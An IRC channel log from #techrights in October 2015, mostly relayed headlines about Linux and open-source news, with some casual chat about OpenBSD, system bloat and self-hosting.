| TweetTuxMachines | Advance Real-Time Linux http://t.co/XycEB1Aslq | Oct 05 10:56 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 05 10:56 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | The Linux Foundation Announces Project to Advance Real-Time Linux | Tux Machines | Oct 05 10:56 | |
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| TweetTuxMachines | @tuxmachines AV-TEST Laboratory Says Free Anti-Virus Apps on | Oct 05 10:56 |
| TweetTuxMachines | Linux Are the Worst http://t.co/48o80fjNG9 | Oct 05 10:56 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 05 10:56 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | AV-TEST Laboratory Says Free Anti-Virus Apps on Linux Are the Worst | Tux Machines | Oct 05 10:56 | |
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| *TweetTuxMachines @techmuser favourited 'AV-TEST Laboratory Says Free Anti-Virus Apps on Linux...' | Oct 05 11:41 | |
| *TweetTuxMachines @techmuser favourited 'The Linux Foundation Announces Project to Advance Real-Time...' | Oct 05 11:41 | |
| TweetTuxMachines | @tuxmachines PPSSPP 1.1 Gets ARM64 and Android TV Support, | Oct 05 12:13 |
| TweetTuxMachines | Still the Best Free PSP Emulator | Oct 05 12:13 |
| TweetTuxMachines | http://t.co/KlJQk5AMmK (news.softpedia.com) | Oct 05 12:13 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | PPSSPP 1.1 Gets ARM64 and Android TV Support, Still the Best Free PSP Emulator - Softpedia | Oct 05 12:13 | |
| TweetTuxMachines | @tuxmachines Danish public libraries unite around open | Oct 05 12:13 |
| TweetTuxMachines | source http://t.co/wIyqmajcYm | Oct 05 12:13 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Danish public libraries unite around open source | Tux Machines | Oct 05 12:13 | |
| TweetTuxMachines | @tuxmachines Exploring the Raspberry Pi Sense HAT | Oct 05 12:14 |
| TweetTuxMachines | http://t.co/NZUoPGeyTs (www.tuxmachines.org) | Oct 05 12:14 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Exploring the Raspberry Pi Sense HAT | Tux Machines | Oct 05 12:14 | |
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| TweetTuxMachines | @tuxmachines Ubuntu 15.10: More kitten than beast – but | Oct 05 13:42 |
| TweetTuxMachines | beware the claws http://t.co/Gcyyyvkh1H | Oct 05 13:42 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Ubuntu 15.10: More kitten than beast – but beware the claws | Tux Machines | Oct 05 13:42 | |
| TweetTuxMachines | @tuxmachines Media Advisory: Linux Foundation Debuts Digital | Oct 05 13:42 |
| TweetTuxMachines | Video Series to Raise Awareness of the Ubiquity | Oct 05 13:42 |
| TweetTuxMachines | of Linux http://t.co/X1T1idFeRU | Oct 05 13:42 |
| TweetTuxMachines | (www.digitaljournal.com) | Oct 05 13:42 |
| -TechrightsBot-tr/#techrights-www.digitaljournal.com | Media Advisory: Linux Foundation Debuts Digital Video Series to Raise Awareness of the Ubiquity of Linux - Press Release - Digital Journal | Oct 05 13:42 | |
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| TweetTuxMachines | @tuxmachines World Without Linux Video Series Debuts | Oct 05 13:42 |
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| -TechrightsBot-tr/#techrights-www.linux.com | World Without Linux Video Series Debuts | Linux.com | Oct 05 13:42 | |
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| TweetTuxMachines | @tuxmachines Exploring the Raspberry Pi Sense HAT | Oct 05 13:55 |
| TweetTuxMachines | http://t.co/JIh5AxZHB4 (opensource.com) | Oct 05 13:55 |
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| -TechrightsBot-tr/#techrights-opensource.com | A look at the Raspberry Pi Sense HAT | Opensource.com | Oct 05 13:56 | |
| TweetTuxMachines | @tuxmachines Ubuntu 15.10: More kitten than beast – but | Oct 05 13:56 |
| TweetTuxMachines | beware the claws http://t.co/GjLkB1FsLR | Oct 05 13:56 |
| TweetTuxMachines | (www.theregister.co.uk) | Oct 05 13:56 |
| -TechrightsBot-tr/#techrights-www.theregister.co.uk | Ubuntu 15.10: More kitten than beast – but beware the claws • The Register | Oct 05 13:56 | |
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| TweetTuxMachines | @tuxmachines Thus versus Calamares: Comparing Manjaro 15.09 | Oct 05 13:56 |
| TweetTuxMachines | installers http://t.co/igM017dEtr | Oct 05 13:56 |
| -TechrightsBot-tr/#techrights-www.zdnet.com | Thus versus Calamares: Comparing Manjaro 15.09 installers | ZDNet | Oct 05 13:56 | |
| TweetTuxMachines | (www.zdnet.com) | Oct 05 13:56 |
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| *Topic for #techrights set by schestowitz!~schestowi@unaffiliated/schestowitz at Sat Jun 9 18:16:19 2012 | Oct 05 19:37 | |
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| msb_ | Well, that's good. He's ready to wipe his disk and install Linux! | Oct 05 20:28 |
| msb_ | Or buy another disk and try to get his data off this one. | Oct 05 20:30 |
| MinceR | and if he's not careful he'll get lendows | Oct 05 20:37 |
| MinceR | and he'll end up where he started | Oct 05 20:37 |
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| cubexyz | my bet advice is have one openbsd machine | Oct 05 21:03 |
| cubexyz | s/bet/best/ | Oct 05 21:03 |
| cubexyz | yes, things are a bit of a mess nowadays | Oct 05 21:06 |
| cubexyz | one of the reasons why operating systems are so problematic is they have gotten so bloated | Oct 05 21:14 |
| cubexyz | it's really hard to avoid it | Oct 05 21:14 |
| cubexyz | my typical openbsd session uses about 50 processes | Oct 05 21:17 |
| cubexyz | my typical Linux sessions uses about 100 processes | Oct 05 21:17 |
| cubexyz | and it doesn't seem to matter which era of Linux it is... FC1 is about 100 processes, Slackware 12.1 is about 100 processes | Oct 05 21:17 |
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| msb_ | That's not really a problem, because today's computers have so much speed and memory, | Oct 05 21:18 |
| msb_ | Hopefully Devuan will get going (some people are already using it in alpha) and then we'll have a Linux we can use and recommend. | Oct 05 21:19 |
| cubexyz | well, it's not a huge problem as I can run BL3 with 8 processes | Oct 05 21:22 |
| cubexyz | it's pretty much on par with Unix v5 other that the fact it uses quite a lot more memory | Oct 05 21:23 |
| cubexyz | su | Oct 05 21:23 |
| cubexyz | some distros do support older computers | Oct 05 21:33 |
| cubexyz | non-PAE computers for example | Oct 05 21:34 |
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| msb_ | cubexyz: I went to the amd.com website an put DASH in the search bar at upper right, and got lots of relevant hits. | Oct 05 22:12 |
| MinceR | that speed and memory won't help you if you waste it all | Oct 05 22:14 |
| MinceR | also, bloated code is also complex, which leads to more bugs | Oct 05 22:14 |
| MinceR | what's DASH? | Oct 05 22:16 |
| r_schestowitz | https://twitter.com/trancotrans15/status/651145064786214912 | Oct 05 22:23 |
| -TechrightsBot-tr/#techrights-@trancotrans15: RT http://t.co/tegqTcRzpC #SteamOS Brewmaster Now Has Improved Auto-Repair Function http://t.co/4vZHCLg3U7 #games #gnu #linux | Oct 05 22:23 | |
| -TechrightsBot-tr/#techrights-@schestowitz: #SteamOS Brewmaster Now Has Improved Auto-Repair Function http://t.co/dkJDg06ee5 #games #gnu #linux | Oct 05 22:23 | |
| -TechrightsBot-tr/#techrights--> news.softpedia.com | SteamOS Brewmaster Now Has Improved Auto-Repair Function - Softpedia | Oct 05 22:23 | |
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| r_schestowitz | https://twitter.com/Trancotrans/status/651147320969396225 | Oct 05 22:37 |
| -TechrightsBot-tr/#techrights-@Trancotrans: RT http://t.co/IoHZmjuagi #SteamOS Brewmaster Now Has Improved Auto-Repair Function http://t.co/MCADzO5tsy #games #gnu #linux | Oct 05 22:37 | |
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| cubexyz | DASH = Desktop and mobile Architecture for System Hardware | Oct 05 22:51 |
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| msb_ | Extremely informative interview of Temple Grandin about her work on non-cruel animal husbandry and autism on RT program Watching the Hawks. | Oct 06 02:57 |
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| TweetTuxMachines | @tuxmachines Manjaro JWM Edition 41015 released | Oct 06 04:30 |
| TweetTuxMachines | http://t.co/8veUDDlZZO (www.tuxmachines.org) | Oct 06 04:30 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Manjaro JWM Edition 41015 released | Tux Machines | Oct 06 04:30 | |
| TweetTuxMachines | @tuxmachines Fedora 24 Linux Operating System to Use | Oct 06 04:30 |
| TweetTuxMachines | NetworkManager 1.2 by Default | Oct 06 04:30 |
| TweetTuxMachines | http://t.co/fdi2IwRV6T (www.tuxmachines.org) | Oct 06 04:30 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Fedora 24 Linux Operating System to Use NetworkManager 1.2 by Default | Tux Machines | Oct 06 04:30 | |
| TweetTuxMachines | @tuxmachines Fedora 24 Linux Operating System to Use | Oct 06 05:03 |
| TweetTuxMachines | retweeted by NetworkManager 1.2 by Default | Oct 06 05:03 |
| TweetTuxMachines | @speedytux http://t.co/fdi2IwRV6T (www.tuxmachines.org) | Oct 06 05:03 |
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| msb_ | Temple Grandin said that high-functioning autistics like herself created the computer revolution. | Oct 06 07:00 |
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| TweetTuxMachines | @tuxmachines Canonical Patches Critical Kernel Vulnerability | Oct 06 10:36 |
| TweetTuxMachines | in Ubuntu 15.04 and Ubuntu 14.04 LTS | Oct 06 10:36 |
| TweetTuxMachines | http://t.co/aJ3D5og9Ew (news.softpedia.com) | Oct 06 10:36 |
| -TechrightsBot-tr/#techrights-news.softpedia.com | Canonical Patches Critical Kernel Vulnerability in Ubuntu 15.04 and Ubuntu 14.04 LTS - Softpedia | Oct 06 10:36 | |
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| TweetTuxMachines | @tuxmachines Ubuntu Unity 8 Convergence: Nexus 4 Phone | Oct 06 10:37 |
| TweetTuxMachines | Converging into a Desktop - Gallery | Oct 06 10:37 |
| TweetTuxMachines | http://t.co/nBkBmkLdP2 (linux.softpedia.com) | Oct 06 10:37 |
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| -TechrightsBot-tr/#techrights-linux.softpedia.com | Ubuntu Unity 8 Convergence: Nexus 4 Phone Converging into a Desktop - Gallery - Softpedia | Oct 06 10:37 | |
| TweetTuxMachines | @tuxmachines Linux: Chapeau has now dropped the Korora | Oct 06 10:37 |
| TweetTuxMachines | software repository http://t.co/RrjZbl7cNy | Oct 06 10:37 |
| TweetTuxMachines | (chapeaulinux.org) | Oct 06 10:37 |
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| -TechrightsBot-tr/#techrights- ( status 503 @ http://chapeaulinux.org/chapeau-has-now-dropped-the-korora-software-repository/ ) | Oct 06 10:37 | |
| TweetTuxMachines | @tuxmachines Manjaro JWM Edition 41015 released | Oct 06 10:40 |
| TweetTuxMachines | https://t.co/m8WtYiWHfV (manjaro.github.io) | Oct 06 10:40 |
| -TechrightsBot-tr/#techrights-manjaro.github.io | Manjaro JWM Edition 41015 released – Manjaro Linux – Enjoy the simplicity | Oct 06 10:40 | |
| TweetTuxMachines | ........................................ http://ur1.ca/nxdqv | Oct 06 10:40 |
| *TweetTuxMachines @RamiSilawi retweeted @tuxmachines: 'Ubuntu Unity 8 Convergence: Nexus 4 Phone Converging...' | Oct 06 10:40 | |
| TweetTuxMachines | @RamiSilawi @tuxmachines Your tweet makes my page better: | Oct 06 10:45 |
| TweetTuxMachines | http://t.co/Gb6V1dQPAF (www.rebelmouse.com) | Oct 06 10:45 |
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| -TechrightsBot-tr/#techrights-www.rebelmouse.com | RamiSilawi | Oct 06 10:45 | |
| TweetTuxMachines | @tuxmachines Fedora 24 Linux Operating System to Use | Oct 06 10:45 |
| TweetTuxMachines | NetworkManager 1.2 by Default | Oct 06 10:45 |
| TweetTuxMachines | http://t.co/sPSWAATBQv (news.softpedia.com) | Oct 06 10:45 |
| -TechrightsBot-tr/#techrights-news.softpedia.com | Fedora 24 Linux Operating System to Use NetworkManager 1.2 by Default - Softpedia | Oct 06 10:45 | |
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| TweetTuxMachines | @tuxmachines Wine Is Coming to Android for Intel Processors | Oct 06 10:45 |
| TweetTuxMachines | http://t.co/Y2eT24SHZF (linux.softpedia.com) | Oct 06 10:45 |
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| -TechrightsBot-tr/#techrights-linux.softpedia.com | Wine Is Coming to Android for Intel Processors - Softpedia | Oct 06 10:45 | |
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| TweetTuxMachines | @tuxmachines Black Lab Core Server 7 Released | Oct 06 12:20 |
| TweetTuxMachines | http://t.co/kxFtycJnpB (www.blacklablinux.org) | Oct 06 12:20 |
| -TechrightsBot-tr/#techrights-www.blacklablinux.org | Black Lab Linux: Black Lab Core Server 7 Released | Oct 06 12:20 | |
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| TweetTuxMachines | @tuxmachines Latest Manjaro Linux 15.09 Update Brings Linux | Oct 06 12:20 |
| TweetTuxMachines | Kernel 4.2.3, Python 3.5 Support | Oct 06 12:20 |
| TweetTuxMachines | http://t.co/TMtxgopvub (news.softpedia.com) | Oct 06 12:20 |
| -TechrightsBot-tr/#techrights-news.softpedia.com | Latest Manjaro Linux 15.09 Update Brings Linux Kernel 4.2.3, Python 3.5 Support - Softpedia | Oct 06 12:20 | |
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| TweetTuxMachines | @tuxmachines Black Lab Core Server 7 Released | Oct 06 12:20 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Black Lab Core Server 7 Released | Tux Machines | Oct 06 12:20 | |
| TweetTuxMachines | @tuxmachines [OpenIndiana] Hipster 2015.10 is here | Oct 06 12:30 |
| TweetTuxMachines | http://t.co/REurSMjBOj (www.tuxmachines.org) | Oct 06 12:30 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | [OpenIndiana] Hipster 2015.10 is here | Tux Machines | Oct 06 12:30 | |
| TweetTuxMachines | @tuxmachines Linux Foundation News http://t.co/um9LrIsXPR | Oct 06 12:30 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 06 12:30 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Linux Foundation News | Tux Machines | Oct 06 12:30 | |
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| TweetTuxMachines | @tuxmachines An Android living in your computer | Oct 06 12:30 |
| TweetTuxMachines | http://t.co/PXVyOUnB5e (distrowatch.com) | Oct 06 12:30 |
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| -TechrightsBot-tr/#techrights-distrowatch.com | DistroWatch.com: Put the fun back into computing. Use Linux, BSD. | Oct 06 12:30 | |
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| TweetTuxMachines | @tuxmachines RoboPhone: Sharp to Sell Real Android Phones in | Oct 06 12:35 |
| TweetTuxMachines | Japan http://t.co/mOJPcsct4U (blogs.wsj.com) | Oct 06 12:35 |
| -TechrightsBot-tr/#techrights-blogs.wsj.com | RoboPhone: Sharp to Sell Real Android Phones in Japan - Japan Real Time - WSJ | Oct 06 12:35 | |
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| TweetTuxMachines | @tuxmachines DNF 1.1.2 and DNF-PLUGINS-CORE 0.1.12 Released | Oct 06 12:35 |
| TweetTuxMachines | http://t.co/OG1fwjGzns (dnf.baseurl.org) | Oct 06 12:35 |
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| -TechrightsBot-tr/#techrights-dnf.baseurl.org | DNF 1.1.2 and DNF-PLUGINS-CORE 0.1.12 Released | DNF | Oct 06 12:35 | |
| TweetTuxMachines | @tuxmachines 5 Best Tools You Need To Create Your Next Big | Oct 06 12:35 |
| TweetTuxMachines | Android App http://t.co/Fg9KzjdIJt | Oct 06 12:35 |
| -TechrightsBot-tr/#techrights-www.junauza.com | 5 Best Tools You Need To Create Your Next Big Android App | TechSource | Oct 06 12:35 | |
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| TweetTuxMachines | @tuxmachines Create A Custom Ubuntu Or Linux Mint ISO With | Oct 06 12:35 |
| TweetTuxMachines | PinguyBuilder http://t.co/jvA06EdcGf | Oct 06 12:35 |
| TweetTuxMachines | (www.webupd8.org) | Oct 06 12:35 |
| -TechrightsBot-tr/#techrights-www.webupd8.org | Create A Custom Ubuntu Or Linux Mint ISO With PinguyBuilder ~ Web Upd8: Ubuntu / Linux blog | Oct 06 12:35 | |
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| TweetTuxMachines | @tuxmachines Circular App Launcher Gnome Pie 0.6.7 Gets New | Oct 06 13:05 |
| TweetTuxMachines | Clipboard Slice Group, Other Changes | Oct 06 13:06 |
| TweetTuxMachines | http://t.co/Am4ZTRBC04 (www.webupd8.org) | Oct 06 13:06 |
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| -TechrightsBot-tr/#techrights-www.webupd8.org | Circular App Launcher `Gnome Pie` 0.6.7 Gets New Clipboard Slice Group, Other Changes ~ Web Upd8: Ubuntu / Linux blog | Oct 06 13:06 | |
| TweetTuxMachines | @tuxmachines Microsoft Recommends Ubuntu as the Most Popular | Oct 06 13:06 |
| TweetTuxMachines | Linux for Cloud | Oct 06 13:06 |
| TweetTuxMachines | http://t.co/FVykJChIi9 (linux.softpedia.com) | Oct 06 13:06 |
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| -TechrightsBot-tr/#techrights-linux.softpedia.com | Microsoft Recommends Ubuntu as the Most Popular Linux for Cloud - Softpedia | Oct 06 13:06 | |
| TweetTuxMachines | @tuxmachines OTA-7 Update for Ubuntu Touch to Enter Final | Oct 06 13:06 |
| TweetTuxMachines | Freeze This Week http://t.co/esZsv56hjA | Oct 06 13:06 |
| TweetTuxMachines | (news.softpedia.com) | Oct 06 13:06 |
| -TechrightsBot-tr/#techrights-news.softpedia.com | OTA-7 Update for Ubuntu Touch to Enter Final Freeze This Week - Softpedia | Oct 06 13:06 | |
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| TweetTuxMachines | @tuxmachines Ubuntu Hackathon: Bangalore Mobile Developer | Oct 06 13:27 |
| TweetTuxMachines | Summit http://t.co/FVAbNVerjw | Oct 06 13:27 |
| TweetTuxMachines | (insights.ubuntu.com) | Oct 06 13:27 |
| -TechrightsBot-tr/#techrights-insights.ubuntu.com | Ubuntu Hackathon: Bangalore Mobile Developer Summit | Ubuntu Insights | Oct 06 13:27 | |
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| TweetTuxMachines | @tuxmachines Top 5 Best New Android Action Games of | Oct 06 13:27 |
| TweetTuxMachines | September 2015 http://t.co/LjrfQBocaH | Oct 06 13:27 |
| -TechrightsBot-tr/#techrights-heavy.com | Top 5 Best New Android Action Games of September 2015 | Heavy.com | Oct 06 13:27 | |
| TweetTuxMachines | (heavy.com) | Oct 06 13:27 |
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| TweetTuxMachines | @tuxmachines Company Shares of Red Hat, Inc. (NYSE:RHT) | Oct 06 13:27 |
| TweetTuxMachines | Rally 0.96% http://t.co/Z0nE845EDM | Oct 06 13:27 |
| TweetTuxMachines | (newswatchinternational.com) up "7.22% for the | Oct 06 13:27 |
| -TechrightsBot-tr/#techrights-newswatchinternational.com | Company Shares of Red Hat, Inc. (NYSE:RHT) Rally 0.96% | News Watch International | Oct 06 13:27 | |
| TweetTuxMachines | last 4 weeks." | Oct 06 13:27 |
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| TweetTuxMachines | @tuxmachines Red Hat on track to hit 70 per cent channel | Oct 06 13:35 |
| TweetTuxMachines | sales goal http://t.co/4JKbISO8OZ | Oct 06 13:35 |
| TweetTuxMachines | (www.channelnomics.eu) | Oct 06 13:35 |
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| -TechrightsBot-tr/#techrights-www.channelnomics.eu | Red Hat on track to hit 70 per cent channel sales goal - from Channelnomics.eu | Oct 06 13:35 | |
| TweetTuxMachines | @tuxmachines Scraps: Modular Vehicle Combat Released For | Oct 06 13:35 |
| TweetTuxMachines | Linux, Looks Like Fun http://t.co/ON9NaTMN7J | Oct 06 13:35 |
| TweetTuxMachines | (www.gamingonlinux.com) | Oct 06 13:35 |
| -TechrightsBot-tr/#techrights-www.gamingonlinux.com | Scraps: Modular Vehicle Combat Released For Linux, Looks Like Fun | GamingOnLinux | Oct 06 13:35 | |
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| *TweetTuxMachines @mispaginasfavor followed @tuxmachines | Oct 06 13:35 | |
| TweetTuxMachines | @tuxmachines Cutegram, the Best Telegram Client, Reaches | Oct 06 13:40 |
| TweetTuxMachines | Version 2.7 with Many Changes | Oct 06 13:40 |
| TweetTuxMachines | http://t.co/YdcoTMzJrM (news.softpedia.com) | Oct 06 13:40 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Cutegram, the Best Telegram Client, Reaches Version 2.7 with Many Changes - Softpedia | Oct 06 13:40 | |
| *TweetTuxMachines @qu1j0t3 favourited 'Scraps: Modular Vehicle Combat Released For Linux, Looks...' | Oct 06 13:41 | |
| TweetTuxMachines | @tuxmachines Does your company know how much open source it | Oct 06 13:41 |
| TweetTuxMachines | uses? http://t.co/uRJCp0UfjM | Oct 06 13:41 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Does your company know how much open source it uses? | Tux Machines | Oct 06 13:41 | |
| TweetTuxMachines | @tuxmachines A kid in an open source candy store | Oct 06 13:41 |
| TweetTuxMachines | http://t.co/SSVKkjbYmD (www.tuxmachines.org) | Oct 06 13:41 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | A kid in an open source candy store | Tux Machines | Oct 06 13:41 | |
| TweetTuxMachines | @tuxmachines Red Hat eyes app platform leader with Samsung | Oct 06 13:41 |
| TweetTuxMachines | http://t.co/qT5152ec1x (www.tuxmachines.org) | Oct 06 13:41 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Red Hat eyes app platform leader with Samsung | Tux Machines | Oct 06 13:41 | |
| TweetTuxMachines | @tuxmachines Leftovers: Ubuntu http://t.co/2sS2i8DyGp | Oct 06 13:41 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 06 13:41 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Leftovers: Ubuntu | Tux Machines | Oct 06 13:41 | |
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| *Topic for #techrights set by schestowitz!~schestowi@unaffiliated/schestowitz at Sat Jun 9 18:16:19 2012 | Oct 06 14:13 | |
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| TweetTuxMachines | @tuxmachines Red Hat and Fedora http://t.co/ZkvF0PLTbj | Oct 06 14:25 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Red Hat and Fedora | Tux Machines | Oct 06 14:25 | |
| TweetTuxMachines | @tuxmachines First Point Release of GTK+ 3.18 Introduces | Oct 06 14:25 |
| TweetTuxMachines | Faster Popover Animations, More | Oct 06 14:25 |
| TweetTuxMachines | http://t.co/oBY8Qlc91C (news.softpedia.com) | Oct 06 14:25 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | First Point Release of GTK+ 3.18 Introduces Faster Popover Animations, More - Softpedia | Oct 06 14:25 | |
| TweetTuxMachines | @tuxmachines Why Google Will Still Bet on Both Chrome OS and | Oct 06 14:25 |
| TweetTuxMachines | Android http://t.co/QgQgwyy7CS (ostatic.com) | Oct 06 14:25 |
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| -TechrightsBot-tr/#techrights-ostatic.com | Why Google Will Still Bet on Both Chrome OS and Android | Oct 06 14:25 | |
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| schestowitz | https://twitter.com/esthete/status/651389937384755200 | Oct 06 14:40 |
| -TechrightsBot-tr/#techrights-@esthete: Patent troll débarquent en Europe http://t.co/CBJdPxXCHQ | Oct 06 14:40 | |
| -TechrightsBot-tr/#techrights--> techrights.org | With Software Patents in Europe (and Pushes for the Same Thing in Australia and India) Patent Trolls Now Come to Europe, Attack Android/Linux | Techrights | Oct 06 14:41 | |
| schestowitz | https://twitter.com/Splat_Blatter/status/651390923184717824 | Oct 06 14:41 |
| -TechrightsBot-tr/#techrights-@Splat_Blatter: @FiftyAtTheBid @TheCitizenSport @SportCorruption @LLP_Le_Vrai @schestowitz @zoobab #Blatter on his way out! http://t.co/zUZbbrpuXc | Oct 06 14:41 | |
| -TechrightsBot-tr/#techrights-@Splat_Blatter: @FiftyAtTheBid @TheCitizenSport @SportCorruption @LLP_Le_Vrai @schestowitz @zoobab #Blatter on his way out! http://t.co/zUZbbrpuXc | Oct 06 14:41 | |
| schestowitz | https://twitter.com/AJimenez1988/status/651388314923204608 https://twitter.com/AJimenez1988/status/651388758940626944 | Oct 06 14:41 |
| -TechrightsBot-tr/#techrights-@AJimenez1988: @schestowitz Good riddance. If political correctness invades everything the Aspies that develop tech won't have a release. | Oct 06 14:41 | |
| -TechrightsBot-tr/#techrights-@AJimenez1988: @schestowitz Dafuq!? Nerds are harmless, that's why people can spew venom on them without fear of reprisal. | Oct 06 14:41 | |
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| TweetTuxMachines | @tuxmachines "Ubuntu Is the Recommended OS" of a game | Oct 06 14:59 |
| TweetTuxMachines | http://t.co/ZsvZpuBev0 (www.phoronix.com) | Oct 06 14:59 |
| TweetTuxMachines | http://t.co/F8Hnv3aVHU (news.softpedia.com) | Oct 06 14:59 |
| -TechrightsBot-tr/#techrights-www.phoronix.com | Linux Beta Released For Trine 3: Artifacts of Power - Phoronix | Oct 06 14:59 | |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Trine 3: The Artifacts of Power Beta Now Available for Linux, Ubuntu Is the Recommended OS - Softpedia | Oct 06 14:59 | |
| *TweetTuxMachines @techmuser favourited '"Ubuntu Is the Recommended OS" of a game...' | Oct 06 14:59 | |
| MinceR | https://en.wikipedia.org/wiki/Internet_censorship_in_the_United_Kingdom#Overblocking | Oct 06 15:04 |
| -TechrightsBot-tr/#techrights-en.wikipedia.org | Internet censorship in the United Kingdom - Wikipedia, the free encyclopedia [ http://ur1.ca/nxgqx ] | Oct 06 15:04 | |
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| schestowitz | https://twitter.com/zoobab/status/651400448918876160 | Oct 06 15:31 |
| -TechrightsBot-tr/#techrights-@zoobab: @Splat_Blatter @FiftyAtTheBid @TheCitizenSport @SportCorruption @LLP_Le_Vrai @schestowitz he should retire in prison, like Batistelli. | Oct 06 15:31 | |
| TweetTuxMachines | @tuxmachines LLVM/Clang http://t.co/rGkrwOMQoD | Oct 06 16:06 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | LLVM/Clang | Tux Machines | Oct 06 16:06 | |
| TweetTuxMachines | @tuxmachines Apache OpenOffice Coming http://t.co/6xeGKsfKjN | Oct 06 16:06 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 06 16:06 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Apache OpenOffice Coming | Tux Machines | Oct 06 16:06 | |
| TweetTuxMachines | @tuxmachines 2015 Productivity, Linux-Style | Oct 06 16:06 |
| TweetTuxMachines | https://t.co/hExioacPlM (dzone.com) | Oct 06 16:06 |
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| -TechrightsBot-tr/#techrights-dzone.com | DZone | Oct 06 16:06 | |
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| schestowitz | https://twitter.com/zoobab/status/651411607902384128 | Oct 06 16:08 |
| -TechrightsBot-tr/#techrights-@zoobab: @schestowitz Yocto is a nightmare compared to Openwrt. | Oct 06 16:08 | |
| schestowitz | https://twitter.com/FOSSpatents/status/651414855988215808 | Oct 06 16:13 |
| -TechrightsBot-tr/#techrights-@FOSSpatents: @schestowitz Have you obtained the EPO's "Closer contacts with major applicants" document yet? Your EPO sources should be able to get it. | Oct 06 16:13 | |
| schestowitz | haven't received it, didn't explicitly ask for it. Why not just put it on scribd yourself? | Oct 06 16:13 |
| schestowitz | https://twitter.com/FOSSpatents/status/651415813967187968 | Oct 06 16:17 |
| -TechrightsBot-tr/#techrights-@FOSSpatents: @schestowitz my source had asked me not to share or publish and I promised not to | Oct 06 16:17 | |
| schestowitz | I will ask around... | Oct 06 16:17 |
| schestowitz | http://t.co/LH6ChOe0bq | Oct 06 16:22 |
| -TechrightsBot-tr/#techrights-www.ft.com | EU court suspends Safe Harbour transatlantic data-sharing deal - FT.com | Oct 06 16:22 | |
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| schestowitz | https://twitter.com/zoobab/status/651018528896716800 | Oct 06 16:34 |
| -TechrightsBot-tr/#techrights-@zoobab: Listening to a debate on eVoting, stealing the right of people to control the elections by offloading to computer "pseudo-experts" #parlbru | Oct 06 16:34 | |
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| TweetTuxMachines | @tuxmachines Incompetence, not Linux, is behind the XOR DDoS | Oct 06 17:43 |
| TweetTuxMachines | botnet http://t.co/zK3VrQPRBG (www.zdnet.com) | Oct 06 17:44 |
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| -TechrightsBot-tr/#techrights-www.zdnet.com | Incompetence, not Linux, is behind the XOR DDoS botnet | ZDNet | Oct 06 17:44 | |
| TweetTuxMachines | @tuxmachines Links 6/10/2015: Linux 4.3 RC4, HP OpenSwitch, | Oct 06 17:44 |
| TweetTuxMachines | Wind River Linux 8 http://t.co/6VikiKXENe | Oct 06 17:44 |
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| -TechrightsBot-tr/#techrights-techrights.org | Links 6/10/2015: Linux 4.3 RC4, HP OpenSwitch, Wind River Linux 8 | Techrights | Oct 06 17:44 | |
| TweetTuxMachines | @tuxmachines Linux-based OpenSwitch http://t.co/3iwz5HqxJ9 | Oct 06 17:44 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 06 17:44 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Linux-based OpenSwitch | Tux Machines | Oct 06 17:44 | |
| MinceR | http://www.cracked.com/article_18775_5-popular-safety-measures-that-dont-make-you-any-safer.html | Oct 06 17:44 |
| -TechrightsBot-tr/#techrights-www.cracked.com | 5 Popular Safety Measures That Don't Make You Any Safer | Cracked.com [ http://ur1.ca/nxiwk ] | Oct 06 17:44 | |
| TweetTuxMachines | @tuxmachines Leftovers: Gaming http://t.co/RUPh1P1VwW | Oct 06 17:44 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Leftovers: Gaming | Tux Machines | Oct 06 17:44 | |
| TweetTuxMachines | @tuxmachines today's howtos http://t.co/uIc3biGDVY | Oct 06 17:44 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 06 17:44 |
| TweetTuxMachines | ........................................ http://ur1.ca/nxiwg | Oct 06 17:44 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | today's howtos | Tux Machines | Oct 06 17:44 | |
| TweetTuxMachines | @tuxmachines Leftovers: Software http://t.co/FxUu40FQAO | Oct 06 17:44 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 06 17:44 |
| TweetTuxMachines | ........................................ http://ur1.ca/nxiwj | Oct 06 17:44 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Leftovers: Software | Tux Machines | Oct 06 17:44 | |
| schestowitz | https://joindiaspora.com/posts/6672589 | Oct 06 18:03 |
| -TechrightsBot-tr/#techrights-@linux@joindiaspora.com reshared: JoinDiaspora.com is broken. I have been trying to sign in for days. #Diaspora #JD | Oct 06 18:03 | |
| -TechrightsBot-tr/#techrights- Photo by copaflight8@joindiaspora.com: https://joindiaspora.s3.amazonaws.com/uploads/images/thumb_medium_0af4f42d8cbb6765f937.JPG | Oct 06 18:03 | |
| schestowitz | "Too many users, too small a server. Time to move to other servers, I’m going to host my own soon, probably." | Oct 06 18:03 |
| cubexyz | sure, run your own host | Oct 06 18:07 |
| cubexyz | you'll learn a lot more | Oct 06 18:07 |
| cubexyz | ok, as for "world without linux" I think a short history lesson is in order | Oct 06 18:14 |
| cubexyz | Unix predates Linux and was started in the summer of 1969 | Oct 06 18:14 |
